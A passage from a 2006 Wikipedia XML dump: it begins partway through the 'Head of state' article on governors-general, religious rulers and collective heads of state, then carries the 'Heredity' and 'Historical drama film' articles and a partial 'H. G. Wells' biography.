[[Image:canadacourt2.jpg|framed|A large portrait of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]  (1952-present), with [[Prince Philip]], hanging in a Canadian courthouse. Every British monarch is a multiple head of state of the [[United Kingdom]], [[Australia]], [[Canada]], [[Jamaica]], [[New Zealand]], eleven other [[Commonwealth realms]] and all the colonies and crown territories]].
In some cases, where one person is head of state of multiple sovereign countries, they may be need to be permanently represented (except at home) by a [[governor-general]]. Examples are [[Canada]], [[Australia]] and [[New Zealand]], where the British monarch, [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], resides in another of the crown's kingdoms, the [[United Kingdom]], and so is represented in the others by a governor-general. 

The Governor-General may fulfill many of the roles of a head of state, but is not legally the head of state, rather an appointed ''representative'' of the head of state that may act in her place in her absence from the state. Some governors-general are considered [[de facto head of state|''de facto'' heads of state]] because, though not the [[de jure|''de jure'' (juridical or legal)]] head of state, in practice they function ''like'' a head of state in most or all [[jurisdiction]]s.  

In diplomatic situations, governors-general, if treated as ''de facto'' heads of state, are sometimes accorded a status akin to a head of state, but that is by tradition and on a case by case and person by person basis, not automatic. At state banquets, for example, toasts are made to the head of state, (eg. &quot;Her Majesty the Queen of Australia&quot;), never to a governor-general, except in so far as a ''personal'' toast may be proposed subsequently to &quot;Governor-General and Mrs Smith&quot; as hosts of, or guests at, the banquet. Similarly, [[Letter of Credence|Letters of Credence]] contain the name of the head of state, not the governor-general, even if it is the latter who signs and receives them. In 2005, [[Canada]] changed its policy and now all [[Letter of Credence|Letters of Credence]] are directed to the [[Governor General of Canada]] herself, not [[Queen Elizabeth II of the United Kingdom|Queen Elizabeth II]]. This caused controversy but is now the accepted pratice.
*As a colony or other dependent state or territory lacks the authority to vest in a true head of state of its own, it either has no comparable office, simply receiving those roles exercised by the paramount powers (in person or, most of the time, through an appointed representative, often styled (lieutenant-)[[governor]], but also various other titles, on the Cook Islands even simply King/Queen's Representative) or has one, such as a formerly sovereign dynasty, but under a form of metropolitan guardianship, such as protection, vassal or tributary status.

====Extraordinary arrangements====
In exceptional situations, such as war, occupation, revolution or a coup d'état, constitutional institutions, including the symbolically crucial head of state, may be reduced to a lesser role (legitimating the power taken over behind the throne) or be suspended in favor of an emergency office (such as the original Roman [[Dictator]]) or eliminated by of new 'provisionary' regime (sincere or clinging to power), often a collective of the [[junta]] type, with endlessly varying names and composition, or simply find itself under military authority as imposed by an occupying force, such as a military governor (an early example being the Spartan Harmost)

===Theocratic, Ecclesiastic and other Religious states===
In Christianity (Roman Catholicism, and in some cases continued when turned protestant):
* The [[Pope]] as Sovereign Pontiff, first of the politically important Papal States, after the Italian reunification ultimately just over [[Vatican City]]
*various lower clerics (but mainly prelates) qualified as [[prince of the church]] (see there, e.g. [[prince-bishop]]); one case of a [[grand master (order)|grand master]] of a sovereign order remains, but it has been vested ex officio in the pope
*In the [[Church of England]] the reigning monarch also holds the title [[defender of the faith]] and acts as Supreme Governor of the [[Church of England]].
The ancient (now orthodox) monastic state known as Athonian Republic does not have a head of state. 

In Islam:
*[[Caliph]]s were the spiritual and temporal, absolute successors of the Prophet, but lost political power
*[[Imam]] of rare theocratic Muslim states known as imamates; notably:
**the present sultante of [[Oman]] (`Uman) was ruled 661 - 1811/1821 by the [[Ibadi]] community under a religious leader styled ''Imam al-Muslimin'' &quot;Imam of the Muslims&quot;), a member of the Azd clan, with several interruptions under foreign rulers; 1784 while Imams rule continues, Muscat and Oman becomes a de facto sovereign state under a  secular Al ´Bu Sa`id ruler; [[3 October]] [[1868]] - Jan 1871 Imams rule briefly restored. 
**in [[Yemen]], and with suzerainty over other arts of the Arabian peninsula
**in (Lower) `Asir, under the Idris dynasty, the religious style of Imam was combined with the temporal ruler style of Sheikh since 1830, and since 1909 the higher style (assumed by the last of four Shaikhs) of Emir, until [[20 November]] [[1930]] the shaikhdom was incorporated Hejaz-Nejd (which became Saudi Arabia)
**in [[Nejd]] the Emirs (1744 - 1817) were from [[15 January]] [[1902]] also Imams and Protectors of the [[Wahhabi]]s (fundamentalist sect of Sunni islam) 
**the Adal Imams 1526 - 1548 rule the later British Somalia and Somaliland (an inerlude bewteen Ottoman and other foreign regimes). 
**in some of present Mali's traditional [[Jihad state]]s, notably Dina (the Sise Jihad state) and The Tijaniyya Jihad state and its successor states Segu and Massina after a split; the last ''fama'' of the Samori Empire (formerly Wassulu) tll its extinction by French colonization 
**after the 1813 annexed into Russia by the Treaty of Gulistan, there was a nationalist 1828 - 1859 Imamate of [[Daghestan]] until its 1859 reincorporated into Russian Empire.
*[[Sheikh]] * e.g. of the Sunni [[Sanusi order]] in Cyrenaica since 1843, styled Emir since [[25 October]] [[1920]]
* In the Islamic Republic [[Iran]] the ''rahbar'' ([[Supreme Leader]], at present [[Ali Khamenei]]) and a council of guardians, all shiah clerics, hold perhaps the highest offices, but the only formal head of state is the elected president.
* The [[Aga Khan]]s were a special case

In Buddhism:
*the [[Dalai lama]] was the god-king of [[Tibet]] before its annexation by the [[PR of China]]
*Mongolia, the former homeland of the imperial Genghis Khan-dynasty, was another lamaist theocracy since 1585, using various styles in several languages, see [[Khutughtu]], replaced [[20 May]] [[1924]] by a communist republic (which assigned the head of state role to chairmanships).

===City states and crowned republics===
*Both the [[polis]] in Antiquity (actual Greek and many parallels, e.g. Italic) and the equivalent city states in the feudal era (many in Italy, the rest of the Holy Roman Empire, the Moorish taifa, essentially tribal-type but urbanized regions troughout the world in the Mayan civilization etc.), and in some cases even much later, offer a wide spectrum of styles, either monarchic (mostly identical to homonyms in larger states) or republican, see [[Chief magistrate]]
*[[Doge]]s were elected by their Italian aristocratic republics from a patrician nobility, but 'reigned' as sovereign dukes 

The paradoxical term [[crowned republic]] (see there) refers to various state arrangements that combine 'republican' and 'monarchic' characteristics
*[[The Netherlands]] historical had officials called [[stadholder]]s, [[stadholder-general|stadholders-general]]

===Multiple or collective Heads of State=== 
[[Image:federalcouncil.jpg|250px|thumb|The [[Swiss Federal Council|Federal Council of Switzerland]] - ''The seven-member collective Head of State of Switzerland'' (also depicted: [[Federal Chancellor]], far right in gray)]]
*in republics (internal complexity): e.g. nominal [[triumvirate]]s, [[Directoire]], and even to date [[Switzerland]] (seven-member [[Federal Council of Switzerland|Federal Council]], each acting in turn as ceremonial chief of state); [[Bosnia and Herzegovina]] (three member presidium, from three different nations); [[San Marino]] (two &quot;Captains-regent&quot;); 
*[[condominium]] (external shared sovereignty): monarchic as in [[Andorra]] (president of [[France]] and bishop of [[Urgell]], [[Spain]], co-princes), mixed as the former Anglo-French [[New Hebrides]] (each's Head of state represented by a High Commissioner).

===Curiosa and residual cases===
In some nationalistic regimes (usually republics), the leader adopts, formally or de facto, a unique style simply meaning &quot;leader&quot; in the national language, such as nazi Germany's single party chief and Head of state and government Adolf Hitler [[Führer]] (see that article for equivalents). 

When former crown colony [[Singapore]] ceased in 1959 to have the British crown as Monarch, represented by a Governor, it adopted the Malay style ''yang di-pertuan negara'', compare the Malaysian paramount ruler [[Yang Dipertuan Agong]]; the second and last incumbent kept the style at the [[31 August]] [[1963]] first independence and after the [[18 September]] [[1963]] accession to federal Malaysia (so now as a constitutive part of the federation, a non-sovereign level); after withdrawing from Malaysia [[22 December]] [[1965]], it became a republic within the Commonwealth, this time independent for good, and installed the same person as its first President.

There are also a few nations in which the exact title and definition of the office of Head of State is vague. Following the downfall of [[Liu Shaoqi]], who was [[Chairman of the People's Republic of China]], no successor was named, so the duties of the head of state were transferred collectively to the [[Standing Committee of the National People's Congress]]. 
In [[North Korea]], [[Kim Il-sung]] was named &quot;eternal president&quot; following his death and the presidency was abolished. As a result, the duties of the head of state are constitutionally delegated to the [[Supreme People's Assembly]] whose chairman is &quot;head of state for foreign affairs&quot; and performs some of the roles of a head of state, such as accrediting foreign ambassadors. However, the symbolic role of a head of state is generally performed by [[Kim Jong-il]], who as the leader of the party and military, is the most powerful person in North Korea.

In some states the office of head of state is not expressed in a specific title reflecting that role, but constitutionally awarded to a post of another formal nature. Thus in March 1979 colonel [[Muammar al-Qaddafi]], who kept absolute power (still known as &quot;Guide of the Revolution&quot;), after ten years as combined Head of state and Head of government of the Libyan ''Jamahiriya'' (&quot;state of the masses&quot;), styled Chairman of the Revolutionary Command Council, formally transferred both qualities, to the General secretaries of the General People's Congress (comparable to a Speaker) respectively to a Prime Minister, in political reality both his creatures.

Sometimes a Head of state assumes office as a state becomes legal and political reality, before a formal title for the highest office is determined; thus in the since [[1 January]] [[1960]] independent republic [[Cameroon]] (''Cameroun'', a former French colony), the first President, Ahmadou Babatoura Ahidjo (b. 1924 - d. 1989), was at first not styled ''président'' but 'merely' known as ''Chef d'état'' (literal French for 'head of state') until [[5 May]] [[1960]]

Sometimes a state chooses to use a descriptive term in stead of a specific style, possibly even by abolishing an existing one. Thus when the 18 September 1921 proclaimed Independence of the Rif, under an [[Emir]] (ambivalent word, either general or ruler; full Arabic style ''Amir ar-Rif'' 18 September 1921 - 1 February 1923) Sayyidi Muhammad bin `Abd al-Karim al-Khattabi; known as Abd el-Krim  (b. 1882 - d. 1963) transformed itself on 1 February 1923 into the Rif Republic (''Dawlat al-Jumhuriyya ar-Rifiyya'', in Arabic means circa 'people's state of the Rif'), the same incumbent Head of State was now re-styled '''''Ra'is ad-Dawla''''' (in Arabic, word for word, means Head of state) till it was on 27 May 1926 dissolved by Franco-Spanish forces. 

In certain cases a special style is needed to accommodate the imperfect statehood, e.g. [[Sardar-i-Riyasat]] in Kashmir after its accession to India; the long de facto embodiment of Palestianian aspiration to independent statehood, PLO-leader [[Yasser Arafat]] was styled [[5 July]] [[1994]] the first &quot;President of the [[Palestinian National Authority]]&quot; after an agreement with the military occupying power Israel allowed a Palestinian National Authority as a ''transitional'' status including Palestinian interim self-governing and a phased transfer of powers and territories (towns and areas of the West Bank), still awaiting the outcome of bumpy negotiations -he was repeatedly put under a form of Israeli arrest while in office- on its permanent status, which could end in a Palestinian State. 

Some statistics
*'''World's longest serving current Head of State''': King [[Rama IX of Thailand]] (since [[June 9]], [[1946]])
*'''World's longest serving current republican Head of State:''' President [[Omar Bongo]] of [[Gabon]] (since [[November 28]], [[1967]])
*'''Oldest head of state elected in a popular election:''' [[Éamon de Valera]], re-elected [[President of Ireland]] aged 84 in [[1966]].

===Former heads of state===
[[Image:Xuantong.jpg|thumb|200px|[[Puyi]], the last [[emperor of China]], abdicated from the throne in [[1912]], but was allowed to keep his titles and [[Forbidden City|palace]] until [[1924]]. He worked as a gardener in his later life as an ordinary Chinese citizen in Communist China.]]

A monarch may retain his style and certain prerrogatives after abdication, as King Leopold III of Belgium who left the throne to his son after winning (but not in both linguistic communities of the country) a referendum; he retained a full royal household but no constitutional or representative role at all. In the case of Napoleon I Bonaparte, the Italian principality of [[Elba]], chosen for his luxurious imprisonment after the remains of his Grande Armée (following the disastrous Russian campaign) had finally been defeated in 1814, was transformed into a miniature version of his First Empire, with most trappings of a sovereign monarchy, until his ''Cent Jours'' ('100 days' escape and reseizure of power in France) convinced the allies, reconvening the Vienna Congress in 1815, to revoke those gratitious privileges and send him to die in exile on barren [[St.Helena]].

By tradition a deposed monarch who has not freely [[abdicate]]d, though no longer head of state, is allowed to use their monarchical title as a [[courtesy title]] for their lifetime. Hence, though he ceased to be [[Greece|Greek]] king in 1973 (in a disputed referendum during the [[Regime of the Colonels]]), or in 1974 (in a referendum after the reestablishment of democracy), it is still standard to refer to the deposed king as [[Constantine II of Greece]]. However none of his descendants will be entitled to be called ''King of the Hellenes'' (not ''King of Greece'') after his death. Some states dispute the international acceptance of the right of their deposed monarchs to be referred to by their former title. It remains however the generally accepted formula, with most states declining to get involved in disputes between governments and deposed monarchs and simply stating that they are doing no more than recognising tradition, not supporting claims to a defunct throne. Other states have no problem with deposed monarchs being so referred to by former title, and even allow them to travel internationally on the state's [[diplomatic passport]].

See also [[political pensioner]]s

==Sources, References and External links==
*[[Pauly-Wissowa]] in German, on Antiquity
*[http://www.rulers.org/ Rulers.org] List of rulers throughout time and places
*[http://4dw.net/royalark/ RoyalArk] quite elaborate on many non-European monarchies
*[http://www.worldstatesmen.org/ WorldStatesmen] History and incumbents of states and minor polities worldwide
*Westermann, ''Großer Atlas zur Weltgeschichte'' in German

==See also==
*[[Head of state succession]]
*[[Head of government]], such as [[Prime Minister]]
*[[Heads of state timeline]]
*[[List of heads of state by diplomatic precedence]]
*[[List of national leaders]]
*[[List of official residences]]


[[Category:Heads of state| ]]
[[Category:Institutions of government]]
[[Category:Monarchy]]
[[Category:Positions of authority]]

{{Link FA|he}}

[[zh-min-nan:Kok-ka ê thâu-lâng]]
[[ca:Cap d'Estat]]
[[cs:Hlava státu]]
[[da:Statsoverhoved]]
[[de:Staatsoberhaupt]]
[[et:Riigipea]]
[[es:Jefe de Estado]]
[[eo:Ŝtatestro]]
[[fr:Chef de l'État]]
[[ko:국가 원수]]
[[he:ראש מדינה]]
[[li:Sjtaotshouf]]
[[hu:Államfő]]
[[nl:Staatshoofd]]
[[ja:元首]]
[[no:Statssjef]]
[[nn:Statsoverhovud]]
[[pl:Głowa państwa]]
[[pt:Chefe de Estado]]
[[ru:Глава государства]]
[[simple:Head of state]]
[[sk:Hlava štátu]]
[[sv:Statschef]]
[[th:ประมุขแห่งรัฐ]]
[[tr:Devlet başkanı]]
[[zh:國家元首]]</text>
    </revision>
  </page>
  <page>
    <title>Heredity</title>
    <id>13457</id>
    <revision>
      <id>40036591</id>
      <timestamp>2006-02-17T17:46:13Z</timestamp>
      <contributor>
        <username>Sommers</username>
        <id>625266</id>
      </contributor>
      <comment>Revert vandalism</comment>
      <text xml:space="preserve">{{dablink|See [[Heredity (disambiguation)]] for other meanings. &quot;Bloodline&quot; redirects here. For other meanings see [[Bloodline (disambiguation)]].}}

'''Heredity''' (the adjective is ''hereditary'') is the transfer of characteristics from [[parent]] to [[offspring]], either through their [[gene]]s or through the social institution called [[inheritance]] (for example, a title of [[nobility]] is passed from individual to individual according to relevant [[custom]]s and/or [[law]]s). 

== Biology ==
In [[biology]], ''heredity'' refers to the transference of biological characteristics from a parent organism to offspring, and is practically a [[synonym]] for [[genetics]], as [[gene]]s are now recognized as the carriers of biological information. In humans, defining which characteristics of a final person are due to heredity and which are due to environmental influences is often a site of controversy because of the [[nature versus nurture]] debate, especially regarding [[intelligence (trait)|intelligence]] and [[race]].

=== History of heredity in biology ===
It was apparent to ancient humans that offspring resembled their parents.  For example, [[Genesis]] 30-46 tells how [[Jacob]] and [[Laban (Bible)|Laban]] split their sheep into white and speckled varieties so they could distinguish the two to ensure none was later stolen.  Although it was clear that traits were hereditary, the precise mechanism of heredity was however not clear.

Various hereditary mechanisms were envisaged without being properly tested or quantified.  These included [[blending inheritance]] and the [[inheritance of acquired traits]].  Nevertheless, people were able to develop domestic breeds animals through [[artificial selection]].  The inheritance of acquired traits formed part of early [[Lamarckian]] ideas on evolution.

[[Charles Darwin]] proposed a theory of evolution in [[1859]] and one of its major problems was a lack of coherent hereditary mechanism.  Darwin believed in a mix of blending inheritance and the inheritance of acquired traits ([[pangenesis]]). Blending inheritance would lead to uniformity across populations in only a few generations and thus would remove variation from a population on which natural selection could act.  This led to Darwin adopting some Lamarckian ideas in later editions of ''[[The Origin]]'' and his later biological works. Darwin's primary approach to heredity was to outline how it appeared to work (noticing that traits could be inherited which were not expressed explicitly in the parent at the time of reproduction, that certain traits could be sex-linked, etc.) rather than suggesting mechanisms.

Darwin's initial model of hereditary was adopted by, and then heavily modified by, his cousin [[Francis Galton]], who laid the framework for the [[biometric]] school of heredity. Galton rejected the aspects of Darwin's pangenesis model which relied on acquired traits.

The inheritance of acquired traits was shown to have little basis in the [[1880s]] when [[August Weismann]] cut the [[tail]]s off [[mice]] to find that their offspring did develop tails.  

The idea of particulate inheritance of genes can be attributed to the Austrian monk [[Gregor Mendel]] who published on pea plants in [[1865]].  However, his work was not widely known and was only rediscovered in [[1901]].  On rediscovery of Mendel's work it was initially assumed the Mendelian inheritance only accounted for large differences, such as those seen by Mendel in his pea plants &amp;mdash; and the additive effect of genes was not realised until [[Ronald Fisher]]'s (1918) paper on [[The Correlation Between Relatives on the Supposition of Mendelian Inheritance]].  For the subsequent history of genetics, see ''[[history of genetics]]''.

In the 1930s, work by Fisher and others resulted in a combination of Mendelian and biometric schools into the [[modern synthesis]] of evolution.

[[Lysenkoism]] in the [[Soviet Union]] emphasised incorrectly the [[inheritance of acquired traits]].  The inheritance of acquired traits appealed to the communist leaders, Lysenkoist movement being led by [[Trofim Lysenko]].  This led to food shortages into the [[1960s]] and seriously affected the USSR.

== Sociology ==
The social institution called [[inheritance]].  One's '''bloodline''' is one's familial [[ancestry]]. See also [[meme]].

== External links ==
{{wiktionary}}
*[http://plato.stanford.edu/entries/heredity/ Stanford Encyclopedia of Philosophy entry on Heredity and Heritability]

[[Category:Genetics]]

[[bg:Наследственост]]
[[de:Vererbung (Biologie)]]
[[et:Pärilikkus]]
[[fr:Hérédité]]
[[io:Heredo]]
[[he:תורשה]]
[[lv:Iedzimtība]]
[[vi:Tính di truyền]]</text>
    </revision>
  </page>
  <page>
    <title>Historical drama film</title>
    <id>13458</id>
    <revision>
      <id>38788813</id>
      <timestamp>2006-02-08T17:45:14Z</timestamp>
      <contributor>
        <username>Ionesco</username>
        <id>85164</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''historical drama''' is a [[film genre]] in which stories are based more or less accurately upon historical events and famous persons. See also [[period piece]].

The following are examples of well-known historical dramas, and their subject matter.
*''[[Alexander Nevsky (film)|Alexander Nevsky]]'' ([[Alexander Nevsky]])
*''[[All the President's Men (film)|All the President's Men]]'' (the [[Watergate]] scandal)
*''[[Anne of the Thousand Days]]'' ([[Anne Boleyn]])
*''[[The Battle of Algiers]]'' (the [[Algerian War of Independence]])
*''[[The Battleship Potemkin]]'' (the [[Battleship Potemkin uprising]])
*''[[Beau Brummell (film)|Beau Brummell]]'' ([[Beau Brummell]])
*''[[Braveheart]]'' ([[William Wallace]])
*''[['Breaker' Morant (film)|'Breaker' Morant]]'' ([[Breaker Morant]])
*''[[A Bridge Too Far]]'' ([[Operation Market Garden]])
*''[[The Charge of the Light Brigade (film)|The Charge of the Light Brigade ]]'' (the [[Charge of the Light Brigade]])
*''[[Cromwell (film)|Cromwell]]'' ([[Oliver Cromwell]])
*''[[Elizabeth (movie)|Elizabeth]]'' ([[Elizabeth I of England]])
*''[[Downfall]]'' (the defeat of [[Adolf Hitler]])
*''[[Fire Over England]]'' (the [[Spanish Armada]])
*''[[Gandhi (film)|Gandhi]]'' ([[Mahatma Gandhi]])
*''[[Gladiator (2000 movie)|Gladiator]]'' (the reign of [[Commodus]])
*''[[Glory (film)|Glory]]'' (the [[54th Massachusetts Volunteer Infantry]])
*''[[Gone with the Wind (film)|Gone with the Wind]]'' (the [[American Civil War]])
*''[[Good Night, and Good Luck]]'' ([[Edward R. Murrow]])
*''[[Henry V (1946 movie)|Henry V]]'' ([[Henry V of England]])
*''[[Henry VIII and His Six Wives]]'' ([[Henry VIII of England]])
*''[[Hotel Rwanda]]'' (the [[Rwandan Genocide]])
*''[[Jesus of Nazareth (movie)]]'' ([[Jesus|Jesus Christ]])
*''[[Judgment at Nuremberg]]'' (the [[Nuremberg Trials]])
*''[[Kagemusha]]'' (the [[Battle of Nagashino]])
*''[[The Killing Fields]]'' (the [[Khmer Rouge]])
*''[[Lady Caroline Lamb (film)|Lady Caroline Lamb]]'' ([[Lady Caroline Lamb]])
*''[[Lady Jane]]'' ([[Lady Jane Grey]])
*''[[The Lion in Winter]]'' ([[Henry II of England]])
*''[[The Longest Day (film)|The Longest Day]]'' ([[D-Day]])
*''[[The Madness of King George]]'' ([[George III of the United Kingdom]])
*''[[A Man for All Seasons]]'' ([[Thomas More]])
*''[[Mary, Queen of Scots (movie)|Mary, Queen of Scots]]'' ([[Mary I of Scots]])
*''[[Michael Collins (movie)|Michael Collins]]'' ([[Michael Collins (Irish leader)|Michael Collins]])
*''[[Mrs. Brown]]'' ([[Victoria of the United Kingdom|Queen Victoria]] and [[John Brown (servant)|John Brown]])
*''[[Mutiny on the Bounty (film)|Mutiny on the Bounty]]'' (the [[mutiny on the Bounty]])
*''[[A Night to Remember]]'' (the ''[[RMS Titanic|Titanic]]'' disaster)
*''[[The Private Life of Henry VIII]]'' ([[Henry VIII of England]])
*''[[Queen Christina]]'' ([[Christina of Sweden]])
*''[[Ragtime (film)|Ragtime]]'' ([[New York City]] in the [[1910s]])
*''[[Richard III (play)|Richard III]]'' (two versions) ([[Richard III of England]])
*''[[The Right Stuff]]'' (the [[Project Mercury]])
*''[[Roots (mini-series)|Roots]]'' (the [[slavery|slave trade]])
*''[[Saving Private Ryan]]'' ([[D-Day]] and its aftermath)
*''[[Schindler's List]]'' ([[Oskar Schindler]])
*''[[Sink the Bismarck!]]'' (the [[German battleship Bismarck]])
*''[[Spartacus (film)|Spartacus]]'' ([[Spartacus]])
*''[[Titanic (1997 film)|Titanic]]'' (the ''[[RMS Titanic|Titanic]]'' disaster)
*''[[Tora! Tora! Tora! (movie)|Tora! Tora! Tora!]]'' (the [[attack on Pearl Harbor]])
*''[[Waterloo (movie)|Waterloo]]'' (the [[Battle of Waterloo]])
*''[[Young Bess]]'' ([[Elizabeth I of England]])
*''[[Young Winston]]'' ([[Winston Churchill]])
*''[[Z (film)|Z]]'' (the assassination of [[Gregoris Lambrakis]])

[[Category:Film genres]]

[[de:Historienfilm]]
[[ru:Исторический фильм]]
[[sv:Historiskt drama]]</text>
    </revision>
  </page>
  <page>
    <title>H. G. Wells</title>
    <id>13459</id>
    <revision>
      <id>42138104</id>
      <timestamp>2006-03-04T01:52:20Z</timestamp>
      <contributor>
        <ip>69.181.231.233</ip>
      </contributor>
      <comment>/* Writer */</comment>
      <text xml:space="preserve">[[Image:H G Wells - Sandgate - Project Gutenberg eText 13715.png|thumbnail|right|H. G. Wells at the door of his house at Sandgate]]

'''Herbert George Wells''' ([[September 21]], [[1866]] &amp;ndash; [[August 13]], [[1946]]) was a [[United Kingdom|British]] [[writer]] best known for his [[science fiction]] [[novel]]s such as ''[[The War of the Worlds (novel)|The War of the Worlds]]'', ''[[The Invisible Man]]'', ''[[The Island of Dr. Moreau|The Island of Doctor Moreau]]'' and ''[[The Time Machine]]''. However, he was arguably one of the most prolific writers in the history of literature, and wrote works in nearly every genre, including short stories and nonfiction. He was an outspoken [[socialism|socialist]], and most of his works contain some notable [[politics|political]] or social commentary.

== Biography ==
=== Early life===
Herbert George was the fourth and last child of Joseph Wells, a former domestic gardener and at the time shopkeeper and [[cricket]]er, and his wife Sarah Neal, a former domestic servant. He was born at 58 High Street, [[Bromley]], [[Kent]]. The family was of the impoverished lower-middle-class. An inheritance allowed them to purchase a china shop, though they quickly realised it would never be a prosperous concern. The stock was old and worn out, the location poor. They managed to earn a meagre income, but little of it came from the shop. Joseph sold cricket bats and balls and other equipment at the matches he played at, and received an unsteady amount of money from the matches, for in those days there were no professional cricketers, and payment for skilled bowlers and batters came from passing the hat afterwards, or from small honoraria from the clubs where matches were played. 

A defining incident of young H. G.'s life is said to be an accident he had in 1874 when he was seven years old. He was dropped on a tent peg at the local sports ground and was left bedridden for a time with a broken leg. To pass the time, he started reading and soon became devoted to the other worlds and lives to which books gave him access; they also stimulated his desire to write. Later that year he entered Thomas Morley's Commercial Academy, a private school founded in 1849 following the bankruptcy of Morley's earlier school. The teaching was erratic, the curriculum mostly focused, Wells said later, on producing copper-plate handwriting and doing the sort of sums useful to tradesmen. Wells continued at Morley's Academy until 1880. But in 1877 another accident had affected his life. This time it had happened to his father, leaving Joseph Wells with a fractured thigh. The accident effectively put an end to Joseph's career as a cricketer, and his earnings as a shopkeeper were not enough to compensate for the loss.

No longer able to support themselves financially, they instead sought to place their boys as apprentices to various professions. At the time it was a usual method for young employees to learn their trade working under a more experienced employer. In time they should be able to practise their trade for themselves. From 1881 to 1883 H. G. had an unhappy apprenticeship as a draper at the Southsea Drapery Emporium. His experiences were later used as inspiration for his novels ''[[The Wheels of Chance]]'' and ''[[Kipps]]'', which describe the life of a draper's apprentice as well as being a critique of the world's distribution of wealth.

Wells's mother and father had never got along with one another particularly well (she was a pious Protestant, he a hen-pecked freethinker), and when she went back to work as a ladies maid (at Uppark, a country house in Sussex) one of the conditions of work was that she would not have space for husband or children; thereafter, she and Joseph lived separate lives, though they never divorced and neither ever developed any other liaison. H. G. not only failed at being a draper, he also failed as a chemist's assistant and had bad experiences as a teaching assistant, and each time he would arrive at Uppark – &quot;the bad shilling back again!&quot; as he said – and stay there until a fresh start could be arranged for him. Fortunately for Wells, Uppark had a magnificent library in which he immersed himself.

=== Teacher ===
In 1883 his employer dismissed him, claiming to be dissatisfied with him. The young man was reportedly not displeased with this ending to his apprenticeship. Later that year, he became an assistant teacher at [[Midhurst Grammar School]], in [[West Sussex]], until he won a scholarship to the [[Normal School of Science]] (later the [[Royal College of Science]], now part of [[Imperial College]], [[London]]) in London, studying [[biology]] under [[T. H. Huxley]]. As an alumnus, he later helped to set up the [[Royal College of Science Association]], of which he became the first president in 1909. H. G. studied in his new school until 1887 with an allowance of twenty-one shillings a week thanks to his scholarship.

He soon entered the Debating Society of the school. These years mark the beginning of his interest in a possible reformation of society. At first approaching the subject through studying ''[[Republic|The Republic]]'' by [[Plato]], he soon turned to his contemporary ideas of [[socialism]] as expressed by the recently formed [[Fabian Society]] and free lectures delivered at [[Kelmscott House]], the home of [[William Morris]]. He was also among the founders of ''The Science School Journal,'' a school magazine which allowed him to express his views on literature and society. The school year 1886-1887 was the last year of his studies. Having previously successfully passed his exams in both [[biology]] and [[physics]], his lack of interest in [[geology]] resulted in his failure to pass and the loss of his scholarship.

H. G. was left without a source of income for a while. His aunt Mary, a cousin of his father, invited him to stay with her for a while, so at least he did not face the problem of housing. During his stay with his aunt, he grew interested in her daughter, Isabel.

===Marriage and liaisons===
In 1891 Wells married his cousin Isabel Mary Wells, but left her in 1894 for one of his students, Amy Catherine Robbins, whom he married in 1895. He had two sons by Amy: George Philip (known as 'Gip') in 1901 and Frank Richard in 1903.{{fn|1}}

During his marriage to Amy, Wells had liaisons with a number of women, including [[United States|American]] [[birth control]] activist [[Margaret Sanger]].{{fn|2}} He had a daughter, Anna-Jane, with writer [[Amber Reeves]] in 1909{{fn|1}} and in 1914, a son, [[Anthony West]], by novelist and [[feminist]] [[Rebecca West]], twenty-six years his junior.{{fn|3}} In spite of Amy Catherine's knowledge of some of these affairs, she remained married to Wells until her death in 1927.{{fn|1}}

&quot;I was never a great amorist,&quot; Wells wrote in ''[[An Experiment in Autobiography]]'' (1934), &quot;though I have loved several people very deeply.&quot;

=== Game designer ===

Seeking a more structured way to play war games, H.G. Wells wrote ''[[Floor Games]]'' (1911) followed by ''[[Little Wars]]'' (1913). ''[[Little Wars]]'' is recognised today as the first [[Miniature_wargaming|recreational wargame]] and Wells is regarded by gamers and hobbyists as &quot;the Father of Miniature Wargaming.&quot;

=== Writer ===

Wells' first bestseller was ''[[Anticipations]]'', published in 1901. Perhaps his most explicitly futuristic work, it bore the subtitle &quot;An Experiment in Prophecy&quot; when originally serialised in a magazine. The book is interesting both for its hits (trains and cars resulting in the dispersion of population from cities to suburbs; moral restrictions declining as men and women seek greater sexual freedom) and its misses (&quot;my imagination refuses to see any sort of submarine doing anything but suffocate its crew and founder at sea&quot;). He also visualized the elimination of all 'inefficient' people to make way for the utopian future (&quot;And how will the New Republic treat the inferior races? ... I take it they will have to go&quot;).

[[Image:Statue of Tripod.JPG|right|thumb|150px|This is a statue of a [[Tripod (The War of the Worlds)|Tripod]] inspired by the book [[The War of the Worlds (novel)|The War of the Worlds]] and erected as a tribute to the book's author H. G. Wells. In [[Woking]] town centre, UK.]]

His early novels, called &quot;[[scientific romance]]s&quot;, invented a number of themes now classic in [[science fiction]] in such works as ''[[The Time Machine]]'', ''[[The Invisible Man]]'', and ''[[The War of the Worlds (novel)|The War of the Worlds]]'' (which have all been made into films) and are often thought of as being influenced by the works of [[Jules Verne]]. He also wrote other, non-fantastic novels which have received critical acclaim, including the satire on Edwardian advertising ''[[Tono-Bungay]]'' and ''[[Kipps]]''.

Wells also wrote several dozen short stories and novellas, the best known of which is &quot;[[The Country of the Blind]]&quot; (1911). Besides being an important occurrence of blindness in literature, this is Well's commentary on humanity's ability to overcome any inconvenience after a few generations and think that it is normal. 

Though not a science-fiction novel, radioactive decay plays a small but consequential role in ''[[Tono-Bungay]]''. It plays a much larger role in ''[[The World Set Free]]'' (1914). This book contains what is surely his biggest prophetic &quot;hit.&quot; Scientists of the day were well aware that the natural decay of [[radium]] releases energy at a slow rate for thousands of years. The ''rate'' of release is too slow to have practical utility, but the ''total amount'' released is huge. Wells's novel revolves around an (unspecified) invention that accelerates the process of radioactive decay, producing bombs that explode with no more than the force of ordinary high explosive&amp;mdash; but which &quot;continue to explode&quot; for days on end. &quot;Nothing could have been more obvious to the people of the earlier twentieth century,&quot; he wrote, &quot;than the rapidity with which war was becoming impossible... [but] they did not see it until the atomic bombs burst in their fumbling hands.&quot; [[Leó Szilárd]] acknowledged that the book inspired him to theorise the nuclear chain reaction.

Wells also wrote nonfiction. His classic two-volume work ''[[The Outline of History]]'' (1920) set a new standard and direction for popularised scholarship. Many other authors followed with 'Outlines' of their own in other subjects. Wells followed it in 1922 by a much shorter popular work, ''[[A Short History of the World]]'', and two long efforts, ''[[The Science of Life]]'' (1930) and ''[[The Work, Wealth and Happiness of Mankind]]'' (1931). The 'Outlines' became sufficiently common for [[James Thurber]] to parody the trend in his humorous essay ''An Outline of Scientists'' - indeed, Wells's ''Outline of History'' remains in print with a new 2005 edition while ''A Short History of the World'' has been recently reedited (2006).

